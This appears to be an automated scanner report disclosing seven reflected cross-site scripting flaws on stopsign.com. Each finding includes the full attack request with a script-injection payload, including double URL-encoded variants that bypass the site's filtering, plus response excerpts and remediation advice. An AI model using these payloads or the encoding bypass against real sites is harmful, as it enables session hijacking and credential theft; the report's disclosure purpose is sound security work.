stopsign.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in stopsign.com | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Dec 19 11:50:59 CST 2010.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://www.stopsign.com/se/ [name of an arbitrarily supplied request parameter]

1.2. http://www.stopsign.com/se/ [name of an arbitrarily supplied request parameter]

1.3. http://www.stopsign.com/se/se604a.php [bit_mask parameter]

1.4. http://www.stopsign.com/se/se604a.php [bit_sample parameter]

1.5. http://www.stopsign.com/se/se604a.php [n parameter]

1.6. http://www.stopsign.com/se/se604a.php [name of an arbitrarily supplied request parameter]

1.7. http://www.stopsign.com/se/se604a.php [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.stopsign.com/se/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stopsign.com
Path:   /se/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b48ce"><script>alert(1)</script>1c91b5beaf9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /se/?n=s_ms_anti_only&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&b48ce"><script>alert(1)</script>1c91b5beaf9=1 HTTP/1.1
Host: www.stopsign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:17:59 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=5d32867abf9eca3bdf0f25d0f7787e02; path=/; domain=.stopsign.com
Set-Cookie: c4bs=ba3644f6; expires=Tue, 18-Jan-2011 14:17:59 GMT; path=/; domain=stopsign.com; secure
Content-Length: 14271
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
<a href="http://www.stopsign.com/downloads/stop-sign_install.exe?n=s_ms_anti_only&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&b48ce"><script>alert(1)</script>1c91b5beaf9=1&uid=5d32867abf9eca3bdf0f25d0f7787e02&bit_mask=0&bit_sample=3124118774&ver=online&b=%26qq_eac-nohost_xu_46fbd9e9ffd8ccfe9dd20373a5df4392_xd_20101219&pg=%26mss_se_spin%26se604a&SV=se604a_hr01">
...[SNIP]...

1.2. http://www.stopsign.com/se/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.stopsign.com
Path:   /se/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a765"><a>303d0801553 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /se/?2a765"><a>303d0801553=1 HTTP/1.1
Host: www.stopsign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: uid=986bc21849137289de04b3e0234adebe; c4bs=4d2b737a;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:16:27 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=986bc21849137289de04b3e0234adebe; path=/; domain=.stopsign.com
Set-Cookie: c4bs=4d2b737a; expires=Tue, 18-Jan-2011 14:16:27 GMT; path=/; domain=stopsign.com; secure
Content-Length: 19081
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
6mss_se_spin%26IA2%26mss_404%26IA2%26mss_se_spin%26mss_404%26IA2%26mss_404%26mss_404%26IA2%26mss_404%26IA2%26mss_se_spin%26se604a&SV=se604a_hr01&8adc663892cbb34f2201c76=1&lxt=11&redir=www-stopsign-com&2a765"><a>303d0801553=1">
...[SNIP]...

1.3. http://www.stopsign.com/se/se604a.php [bit_mask parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stopsign.com
Path:   /se/se604a.php

Issue detail

The value of the bit_mask request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a58d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0503734a54f was submitted in the bit_mask parameter. This input was echoed as 8a58d"><script>alert(1)</script>0503734a54f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the bit_mask request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /se/se604a.php?n=s_ms_anti_only&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&uid=986bc21849137289de04b3e0234adebe&bit_mask=08a58d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0503734a54f&bit_sample=1294693242&ver=online&b=%26qq_eac-nohost_xu_8714081e771a4ad0a8f404f2e7ec10a9_xd_20101219&pg=%26mss_se_spin&SV=mss_se_spin HTTP/1.1
Host: www.stopsign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=986bc21849137289de04b3e0234adebe

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:16:40 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=986bc21849137289de04b3e0234adebe; path=/; domain=.stopsign.com
Set-Cookie: c4bs=4d2b737a; expires=Tue, 18-Jan-2011 14:16:40 GMT; path=/; domain=stopsign.com; secure
Content-Length: 28847
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
<a class="threatTitle" href="http://www.stop-sign.com/research/virus_detail.php?&n=s_ms_anti_only&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&uid=986bc21849137289de04b3e0234adebe&bit_mask=08a58d"><script>alert(1)</script>0503734a54f&bit_sample=1294693242&ver=online&b=&qq_eac-nohost_xu_8714081e771a4ad0a8f404f2e7ec10a9_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219&pg=&mss_se_spin&IA2&mss_se_spi
...[SNIP]...

1.4. http://www.stopsign.com/se/se604a.php [bit_sample parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stopsign.com
Path:   /se/se604a.php

Issue detail

The value of the bit_sample request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1a65%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb08f1941c3 was submitted in the bit_sample parameter. This input was echoed as b1a65"><script>alert(1)</script>fb08f1941c3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the bit_sample request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /se/se604a.php?n=s_ms_anti_only&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&uid=986bc21849137289de04b3e0234adebe&bit_mask=0&bit_sample=1294693242b1a65%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb08f1941c3&ver=online&b=%26qq_eac-nohost_xu_8714081e771a4ad0a8f404f2e7ec10a9_xd_20101219&pg=%26mss_se_spin&SV=mss_se_spin HTTP/1.1
Host: www.stopsign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=986bc21849137289de04b3e0234adebe

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:16:42 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=986bc21849137289de04b3e0234adebe; path=/; domain=.stopsign.com
Set-Cookie: c4bs=4d2b737a; expires=Tue, 18-Jan-2011 14:16:42 GMT; path=/; domain=stopsign.com; secure
Content-Length: 32951
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
atTitle" href="http://www.stop-sign.com/research/virus_detail.php?&n=s_ms_anti_only&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&uid=986bc21849137289de04b3e0234adebe&bit_mask=0&bit_sample=1294693242b1a65"><script>alert(1)</script>fb08f1941c3&ver=online&b=&qq_eac-nohost_xu_8714081e771a4ad0a8f404f2e7ec10a9_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219_xd_20101219&pg=&mss_se_spin&
...[SNIP]...

1.5. http://www.stopsign.com/se/se604a.php [n parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stopsign.com
Path:   /se/se604a.php

Issue detail

The value of the n request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60214%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7e73b1a3c0 was submitted in the n parameter. This input was echoed as 60214"><script>alert(1)</script>7e73b1a3c0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the n request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /se/se604a.php?n=s_ms_anti_only60214%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7e73b1a3c0&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&uid=986bc21849137289de04b3e0234adebe&bit_mask=0&bit_sample=1294693242&ver=online&b=%26qq_eac-nohost_xu_8714081e771a4ad0a8f404f2e7ec10a9_xd_20101219&pg=%26mss_se_spin&SV=mss_se_spin HTTP/1.1
Host: www.stopsign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=986bc21849137289de04b3e0234adebe

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:16:36 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=986bc21849137289de04b3e0234adebe; path=/; domain=.stopsign.com
Set-Cookie: c4bs=4d2b737a; expires=Tue, 18-Jan-2011 14:16:36 GMT; path=/; domain=stopsign.com; secure
Content-Length: 25073
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
<a class="threatTitle" href="http://www.stop-sign.com/research/virus_detail.php?&n=s_ms_anti_only60214"><script>alert(1)</script>7e73b1a3c0&itcj=200&kw=ms_anti_only_t20101005_se_antivirus&uid=986bc21849137289de04b3e0234adebe&bit_mask=0&bit_sample=1294693242&ver=online&b=&qq_eac-nohost_xu_8714081e771a4ad0a8f404f2e7ec10a9_xd_20101219_xd_201
...[SNIP]...

1.6. http://www.stopsign.com/se/se604a.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stopsign.com
Path:   /se/se604a.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 149e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e349585a35a3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 149e9"><script>alert(1)</script>349585a35a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /se/se604a.php/149e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e349585a35a3 HTTP/1.1
Host: www.stopsign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: uid=986bc21849137289de04b3e0234adebe; c4bs=4d2b737a;

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:16:28 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=986bc21849137289de04b3e0234adebe; path=/; domain=.stopsign.com
Set-Cookie: c4bs=4d2b737a; expires=Tue, 18-Jan-2011 14:16:28 GMT; path=/; domain=stopsign.com; secure
Content-Length: 21729
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
se_spin&mss_se_spin&mss_404&mss_se_spin&IA2&mss_404&IA2&mss_se_spin&mss_404&IA2&mss_404&mss_404&IA2&mss_404&IA2&mss_se_spin&mss_se_spin&149e9%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e349585a35a3&SV=149e9"><script>alert(1)</script>349585a35a3&8adc663892cbb34f2201c76=1&lxt=11&redir=www-stopsign-com&2a765">
...[SNIP]...

1.7. http://www.stopsign.com/se/se604a.php [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stopsign.com
Path:   /se/se604a.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a769f"><script>alert(1)</script>94e1a55a497 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /se/se604a.php?a769f"><script>alert(1)</script>94e1a55a497=1 HTTP/1.1
Host: www.stopsign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: uid=986bc21849137289de04b3e0234adebe; c4bs=4d2b737a;

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 14:16:27 GMT
Server: Apache/2.2.15 (Fedora)
Set-Cookie: uid=986bc21849137289de04b3e0234adebe; path=/; domain=.stopsign.com
Set-Cookie: c4bs=4d2b737a; expires=Tue, 18-Jan-2011 14:16:27 GMT; path=/; domain=stopsign.com; secure
Content-Length: 19033
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<tit
...[SNIP]...
in%26mss_404%26mss_se_spin%26IA2%26mss_404%26IA2%26mss_se_spin%26mss_404%26IA2%26mss_404%26mss_404%26IA2%26mss_404%26IA2%26se604a&SV=se604a_hr01&8adc663892cbb34f2201c76=1&lxt=11&redir=www-stopsign-com&a769f"><script>alert(1)</script>94e1a55a497=1">
...[SNIP]...

Report generated by XSS.CX at Sun Dec 19 11:50:59 CST 2010.